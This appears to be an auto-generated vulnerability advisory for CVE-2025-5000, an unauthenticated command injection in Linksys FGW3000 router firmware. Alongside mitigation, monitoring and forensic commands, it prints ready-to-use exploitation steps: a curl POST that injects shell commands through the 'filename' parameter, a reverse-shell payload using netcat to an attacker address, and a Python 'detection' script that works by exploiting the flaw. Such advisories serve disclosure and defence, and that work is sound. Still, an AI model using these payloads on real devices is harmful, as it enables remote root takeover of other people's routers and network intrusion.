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How CVE-2025-5000 Works
The vulnerability exists in the `control_panel_sw` function within `/cgi-bin/sysconf.cgi` of Linksys FGW3000-AH and FGW3000-HK firmware versions up to 1.0.17.000000. The HTTP POST request handler improperly sanitizes the `filename` parameter, allowing attackers to inject arbitrary OS commands. Due to insufficient input validation, a malicious actor can craft a POST request with a manipulated `filename` argument containing shell metacharacters (e.g., ;, |, &), leading to command execution with root privileges. The attack is remotely exploitable without authentication, making it critical.
DailyCVE Form
Platform: Linksys FGW3000
Version: ≤1.0.17.000000
Vulnerability: Command Injection
Severity: Critical
Date: 2025-06-12
Prediction: Patch by 2025-08-15
What Undercode Say:
Exploitation
1. Craft malicious POST request:
curl -X POST -d "filename=;id>/tmp/exploit" http://target/cgi-bin/sysconf.cgi
2. Reverse shell payload:
curl -X POST -d "filename=;nc -e /bin/sh attacker_ip 4444" http://target/cgi-bin/sysconf.cgi
3. Verify exploit success:
curl http://target/tmp/exploit
Protection
1. Temporary mitigation:
iptables -A INPUT -p tcp --dport 80 -j DROP
2. Patch validation (post-update):
strings /lib/libcgi.so | grep "filename="
3. Log monitoring for attacks:
tail -f /var/log/httpd.log | grep "sysconf.cgi"
Detection Script
import requests
target = "http://192.168.1.1/cgi-bin/sysconf.cgi"
payload = {"filename": ";echo vulnerable > /tmp/cve_test"}
response = requests.post(target, data=payload)
if "200" in str(response.status_code):
check = requests.get("http://192.168.1.1/tmp/cve_test")
if "vulnerable" in check.text:
print("[!] Vulnerable to CVE-2025-5000")
Forensic Analysis
1. Extract HTTP logs:
grep "sysconf.cgi" /var/log/lighttpd/access.log > cve_analysis.txt
2. Check for backdoors:
find / -name ".sh" -mtime -7
3. Memory dump analysis:
gcore -o /tmp/memdump $(pidof httpd)
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
